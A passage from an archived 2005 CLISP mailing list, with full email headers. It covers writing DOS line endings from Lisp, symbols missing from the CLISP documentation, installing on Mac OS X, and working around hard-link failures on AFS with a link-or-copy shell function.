(format output-stream "Hello~%")) -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From kavenchuk@jenty.by Fri Nov 25 03:29:59 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Efblq-0001PW-Fk for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 03:29:38 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Efblo-0000eM-PR for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 03:29:38 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id WPT6KFZD; Fri, 25 Nov 2005 13:30:51 +0200 Message-ID: <4386F5FB.1060706@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] heads up - on-line docs, pre-test etc References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 25 03:30:08 2005 X-Original-Date: Fri, 25 Nov 2005 13:31:07 +0200 Sam Steingold wrote: > HELP WANTED: > Someone has to finish clisp/doc/Symbol-Table.text by reading the > impnotes and putting symbols and xml ids into that file. > This is an excellent exercise: you will learn a lot about how clisp > works and what it can do (I bet you have never read more than a few > snippets from the manual before :-), you will suggest many valuable > improvements to the manual, and you will help finish the on-line > documentation! approach from rear: (dolist (p *SYSTEM-PACKAGE-LIST*) (print p) (do-external-symbols (s (find-package p)) (when (or (boundp s) (fboundp s)) (unless (or (documentation s 'sys::clhs) (documentation s 'sys::impnotes)) (format t "~A " s))))) "ZLIB" "WILDCARD" "RAWSOCK" "PCRE" "LDAP" "READLINE" "REGEXP" "POSIX" PROCESS-ID "I18N" "EXPORTING" "CS-COMMON-LISP" "SYSTEM" "LISP" "EXT" PROCESS-ID "GRAY" "CHARSET" "CLOS" "SOCKET" "GSTREAM" "FFI" "SCREEN" Only PROCESS-ID do not have documentation? result of do-symbols and do-all-symbols is not meaningful? Thanks! -- WBR, Yaroslav Kavenchuk. From pete.boardman@pobox.com Fri Nov 25 04:31:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Efcjk-0004gQ-EJ for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 04:31:32 -0800 Received: from orb.pobox.com ([207.8.226.5]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Efcji-0005yh-7L for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 04:31:32 -0800 Received: from orb (localhost [127.0.0.1]) by orb.pobox.com (Postfix) with ESMTP id 1442175E for ; Fri, 25 Nov 2005 07:31:39 -0500 (EST) Received: from [10.0.1.3] (unknown [217.205.244.44]) by orb.sasl.smtp.pobox.com (Postfix) with ESMTP id 5E15A89 for ; Fri, 25 Nov 2005 07:31:38 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v734) Content-Transfer-Encoding: 7bit Message-Id: <10263F26-D414-4C20-A9CD-1F45475C1E4F@pobox.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: clisp-list@lists.sourceforge.net From: pete boardman X-Mailer: Apple Mail (2.734) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Help getting started on MacOS X 10.4 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 25 04:32:02 2005 X-Original-Date: Fri, 25 Nov 2005 12:32:19 +0000 Hi. I'm trying to get clisp running on MacOS X 10.4. I've followed these instructions... > Change the strings in src/config.lisp, using a text editor. > Then start > > base/lisp.run -M base/lispinit.mem > > When the LISP prompt > > [1]> _ > > appears, type > > (without-package-lock () > (compile-file "src/config.lisp") > (load "src/config.fas")) > > and then > > (cd "base/") > (saveinitmem) > > to overwrite the file lispinit.mem with your configuration. Then > > (exit) and it all appears to work fine. But then it says: > The rest is done by a simple > > make install Here I'm stuck... What do I have to do? If I type it, I get this: $ make install -bash: make: command not found thanks Pete From rray@mstc.state.ms.us Fri Nov 25 05:03:41 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EfdEl-0006IE-AQ for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 05:03:35 -0800 Received: from itspmx2.state.ms.us ([205.144.224.112]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EfdEj-000530-1H for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 05:03:35 -0800 Received: from rray.drdc.mstc.ms.gov ([10.3.192.2]) by itspmx2.state.ms.us (8.13.4/8.13.4) with ESMTP id jAPD3Q9l024443 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 25 Nov 2005 07:03:31 -0600 (CST) Received: from rray.drdc.mstc.ms.gov (localhost.localdomain [127.0.0.1]) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1) with ESMTP id jAPD3QNo019502 for ; Fri, 25 Nov 2005 07:03:26 -0600 Received: from localhost (rray@localhost) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1/Submit) with ESMTP id jAPD3Q8T019498 for ; Fri, 25 Nov 2005 07:03:26 -0600 X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs From: Richard Ray X-X-Sender: rray@rray.drdc.mstc.ms.gov To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Basic help with format In-Reply-To: <17286.54375.469476.166971@thalassa.informatimago.com> Message-ID: References: <17286.54375.469476.166971@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 25 05:04:09 2005 X-Original-Date: Fri, 25 Nov 2005 07:03:26 -0600 (CST) Just right. Windoz folks tend to get upset when they open a UNIX terminated file in Notepad. Thanks Richard On Fri, 25 Nov 2005, Pascal Bourguignon wrote: > Richard Ray writes: >> I have a simple program that writes a file that needs to be in DOS format. >> How do I tell format to print a carriage-return and linefeed? >> This probably doesn't go on this list but you guys are the best Lisp help >> around. > > This is incorrect: > > (format output-stream "~A~A" #\Return #\LineFeed) > > the problem is that in clisp, (eql #\linefeed #\newline), therefore > you can get TWO #\return issued with this format. > > The correct way to output DOS newlines is just to tell it to do so: > > (with-open-file (output-stream (make-pathname :name "EXAMPLE" :type "TXT") > :external-format (ext:make-encoding > :charset charset:CP850 > :line-terminator :dos) > :direction :output > :if-exists :supersede > :if-does-not-exist :create) > (format output-stream "Hello~%")) > > > -- > __Pascal Bourguignon__ http://www.informatimago.com/ > > Nobody can fix the economy. Nobody can be trusted with their finger > on the button. Nobody's perfect. VOTE FOR NOBODY. > > > ------------------------------------------------------- > This SF.net email is sponsored by: Splunk Inc. Do you grep through log files > for problems? Stop! Download the new AJAX search engine that makes > searching your log files as easy as surfing the web. DOWNLOAD SPLUNK! > http://ads.osdn.com/?ad_id=7637&alloc_id=16865&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From sds@gnu.org Fri Nov 25 08:51:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Efgn8-00023t-KW for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 08:51:18 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Efgn2-0004nn-BV for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 08:51:15 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 25 Nov 2005 11:51:10 -0500 X-IronPort-AV: i="3.97,377,1125892800"; d="scan'208"; a="133268615:sNHT44821380" To: clisp-list@lists.sourceforge.net, Richard Ray Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Richard Ray's message of "Thu, 24 Nov 2005 15:36:21 -0600 (CST)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Richard Ray Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Basic help with format Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 25 08:52:01 2005 X-Original-Date: Fri, 25 Nov 2005 11:49:59 -0500 > * Richard Ray [2005-11-24 15:36:21 -0600]: > > I have a simple program that writes a file that needs to be in DOS format. > How do I tell format to print a carriage-return and linefeed? (describe :external-format) in cvs head (see http://article.gmane.org/gmane.lisp.clisp.general:10430) or visit http://clisp.cons.org/impnotes/stream-dict.html#extfmt and read and click around -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://www.palestinefacts.org/ http://truepeace.org http://www.jihadwatch.org/ http://www.memri.org/ http://www.savegushkatif.org cogito cogito ergo cogito sum From sds@gnu.org Fri Nov 25 09:01:42 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EfgxB-0002YC-T3 for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 09:01:41 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Efgx8-0005Z8-7J for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 09:01:42 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 25 Nov 2005 12:01:33 -0500 X-IronPort-AV: i="3.97,377,1125892800"; d="scan'208"; a="133273228:sNHT2228934682" To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4386F5FB.1060706@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 25 Nov 2005 13:31:07 +0200") References: <4386F5FB.1060706@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: heads up - on-line docs, pre-test etc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 25 09:02:02 2005 X-Original-Date: Fri, 25 Nov 2005 12:00:24 -0500 > * Yaroslav Kavenchuk [2005-11-25 13:31:07 +0200]: > > "POSIX" PROCESS-ID good catch! thanks! look at clhs.lisp: when sys::impnotes doc of a symbol is NIL, it's package's doc is used. PROCESS-ID is imported into POSIX from SYSTEM, so it does not pick up impnotes doc from POSIX. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://truepeace.org http://www.iris.org.il http://www.openvotingconsortium.org/ http://ffii.org/ Life is a sexually transmitted disease with 100% mortality. From sds@gnu.org Fri Nov 25 09:12:19 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Efh7S-00035w-5v for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 09:12:18 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Efh7M-0002Fa-My for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 09:12:18 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 25 Nov 2005 12:12:11 -0500 X-IronPort-AV: i="3.97,377,1125892800"; d="scan'208"; a="133277745:sNHT23119360" To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200511250458.jAP4wmLT026396@grant.org> (Devon Sean McCullough's message of "Thu, 24 Nov 2005 23:58:48 -0500 (EST)") References: <200511150624.jAF6OSgc047940@grant.org> <200511151511.jAFFBwXO062492@grant.org> <200511151929.jAFJTs4s039689@grant.org> <200511250458.jAP4wmLT026396@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp fails to build on Debian 3.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 25 09:13:08 2005 X-Original-Date: Fri, 25 Nov 2005 12:11:01 -0500 > * Devon Sean McCullough [2005-11-24 23:58:48 -0500]: > > Install still fails with > ... > installing en.gmo as ../locale/en/LC_MESSAGES/clisp.mo > ln: creating hard link `../locale/en/LC_MESSAGES/clisp.mo' to `en.gmo': Invalid cross-device link > ... > because with AFS, some directories reject hard links. how does one detect afs? > The best fix would be to test for hard link failure > and fall back to copy, on a file by file basis. how do other packages do that? > The patch given below has no effect. I take it that @LN@ gets replaced with "ln", right? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.iris.org.il http://www.jihadwatch.org/ http://truepeace.org http://www.honestreporting.com http://pmw.org.il/ There's always free cheese in a mouse trap. From Devon@Jovi.Net Fri Nov 25 12:11:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Efjud-0003I5-Jf for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 12:11:15 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Efjud-0003Qx-5B for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 12:11:15 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id jAPKAoCd051164 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 25 Nov 2005 15:10:50 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id jAPKAo4G051161; Fri, 25 Nov 2005 15:10:50 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200511252010.jAPKAo4G051161@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net, Devon Sean McCullough CC: clisp-list@lists.sourceforge.net, Lisp-Hacker@Jovi.Net In-reply-to: (message from Sam Steingold on Fri, 25 Nov 2005 12:11:01 -0500) Subject: Re: [clisp-list] Re: clisp fails to build on Debian 3.1 References: <200511150624.jAF6OSgc047940@grant.org> <200511151511.jAFFBwXO062492@grant.org> <200511151929.jAFJTs4s039689@grant.org> <200511250458.jAP4wmLT026396@grant.org> X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Fri, 25 Nov 2005 15:11:02 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 25 12:12:03 2005 X-Original-Date: Fri, 25 Nov 2005 15:10:50 -0500 (EST) From: Sam Steingold In-Reply-To: <200511250458.jAP4wmLT026396@grant.org> (Devon Sean McCullough's message of "Thu, 24 Nov 2005 23:58:48 -0500 (EST)") Date: Fri, 25 Nov 2005 12:11:01 -0500 how does one detect afs? The cost of understanding the detailed semantics of every specific file system will become a hellish burden. Better to either punt the awfully fragile optimization of "cp -p" ==> "ln" or simply do it at install time, not config time. $ df | egrep '^AFS ' might indicate the presence of some AFS-mounted filesystem(s) in some nearby directory trees, then you get to puzzle out which directories are AFS, which are NFS, oh my gosh... nor do I know whether all AFS servers act this way. > The best fix would be to test for hard link failure > and fall back to copy, on a file by file basis. how do other packages do that? Good question. GNU ``install'' doesn't do it, although it claims to share storage between target files as revealed by source dev/ino. Hair like LN_OR_CP () { ln "$1" "$2" 2>/dev/null || cp -p "$1" "$2"; } probably belongs there so all installers can benefit, e.g., define a HARD_LINK_FOR_COPY environment variable and add a -l switch like GNU ``cp'' has. Note that coreutils-5.91/src/install.c already contains AFS-aware code. > The patch given below has no effect. I take it that @LN@ gets replaced with "ln", right? $ grep 'LN=' src/makemake HLN='ln' LN='ln' # either 'ln' or ${CP} HLN='hln' # either 'ln' or 'hln' HLN="${HERE}hln" echotab " (dir=$1/ ; for subdir in "'`'"echo \$\$module/ | sed -e 's,/, ,g'"'`'" ; do dir=\$\${dir}\$\${subdir} ; test -d \$\${dir} || mkdir \$\${dir} ; dir=\$\${dir}/ ; done ; cd \$\$module ; dots="'`'"echo \$\$module/ | sed -e 's,[^/][^/]*//*,../,g'"'`'" ; \$(MAKE) clisp-module-distrib distribdir=\$\${dots}$1/\$\$module/ LN="`if test "$2" = ln; then echo 'ln'; else echo '$${dots}hln'; fi`") \\" Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From sds@gnu.org Fri Nov 25 12:37:34 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EfkK6-00046m-12 for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 12:37:34 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EfkK2-0006yq-Mp for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 12:37:34 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 25 Nov 2005 15:37:30 -0500 X-IronPort-AV: i="3.97,377,1125892800"; d="scan'208"; a="133365387:sNHT24907790" To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200511252010.jAPKAo4G051161@grant.org> (Devon Sean McCullough's message of "Fri, 25 Nov 2005 15:10:50 -0500 (EST)") References: <200511150624.jAF6OSgc047940@grant.org> <200511151511.jAFFBwXO062492@grant.org> <200511151929.jAFJTs4s039689@grant.org> <200511250458.jAP4wmLT026396@grant.org> <200511252010.jAPKAo4G051161@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp fails to build on Debian 3.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 25 12:38:02 2005 X-Original-Date: Fri, 25 Nov 2005 15:36:19 -0500 > * Devon Sean McCullough [2005-11-25 15:10:50 -0500]: > > and add a -l switch like GNU ``cp'' has. are you saying that "cp -l" is equivalent to LN_OR_CP () { ln "$1" "$2" 2>/dev/null || cp -p "$1" "$2"; } ?? if it is, we can use that. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.jihadwatch.org/ http://pmw.org.il/ http://www.dhimmi.com/ http://truepeace.org http://ffii.org/ nobody's life, liberty or property are safe while the legislature is in session From johan@liseborn.se Fri Nov 25 13:10:46 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EfkqB-0005xF-St for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 13:10:43 -0800 Received: from klara.frobbit.se ([85.30.129.37] helo=frobbit.se) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EfkqA-0001Fu-2Y for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 13:10:43 -0800 Received: from [81.216.231.238] (account mjl@liseborn.se HELO [192.168.30.39]) by frobbit.se (CommuniGate Pro SMTP 5.0.2) with ESMTPA id 2992721; Fri, 25 Nov 2005 22:10:11 +0100 In-Reply-To: <10263F26-D414-4C20-A9CD-1F45475C1E4F@pobox.com> References: <10263F26-D414-4C20-A9CD-1F45475C1E4F@pobox.com> Mime-Version: 1.0 (Apple Message framework v746.2) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <0F9721EE-1D05-4CF7-88B6-AAEC6F689519@liseborn.se> Cc: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit From: Johan Liseborn Subject: Re: [clisp-list] Help getting started on MacOS X 10.4 To: pete boardman X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 25 13:11:02 2005 X-Original-Date: Fri, 25 Nov 2005 22:10:25 +0100 On Nov 25, 2005, at 13:32, pete boardman wrote: > $ make install > -bash: make: command not found I believe you may need to have the Apple developer tools installed (i.e. Xcode & co); do you have that? If not, you can find Xcode 2.1 on your Tiger CD, and you can find the Xcode 2.2 upgrade at http:// developer.apple.com/tools/xcode/index.html. Hope this helps. johan -- Johan Liseborn From Devon@Jovi.Net Fri Nov 25 18:05:16 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EfpRD-0005EW-Ou for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 18:05:15 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EfpRD-0002cT-D8 for clisp-list@lists.sourceforge.net; Fri, 25 Nov 2005 18:05:15 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id jAQ24uv3063029 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 25 Nov 2005 21:04:56 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id jAQ24pr8063022; Fri, 25 Nov 2005 21:04:51 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200511260204.jAQ24pr8063022@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Fri, 25 Nov 2005 15:36:19 -0500) Subject: Re: [clisp-list] Re: clisp fails to build on Debian 3.1 References: <200511150624.jAF6OSgc047940@grant.org> <200511151511.jAFFBwXO062492@grant.org> <200511151929.jAFJTs4s039689@grant.org> <200511250458.jAP4wmLT026396@grant.org> <200511252010.jAPKAo4G051161@grant.org> X-Spam-Status: No, score=-3.6 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Fri, 25 Nov 2005 21:05:03 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 25 18:06:04 2005 X-Original-Date: Fri, 25 Nov 2005 21:04:51 -0500 (EST) From: Sam Steingold Date: Fri, 25 Nov 2005 15:36:19 -0500 > * Devon Sean McCullough [2005-11-25 15:10:50 -0500]: > > and add a -l switch like GNU ``cp'' has. are you saying that "cp -l" is equivalent to LN_OR_CP () { ln "$1" "$2" 2>/dev/null || cp -p "$1" "$2"; } ?? if it is, we can use that. GNU ``cp'' and ``install'' lack any option to hard link with fall back to copy. $ cd clisp-2.35/src $ touch foo $ ln foo .. ln: creating hard link `../foo' to `foo': Invalid cross-device link $ cp -pl foo .. cp: cannot create link `../foo': Invalid 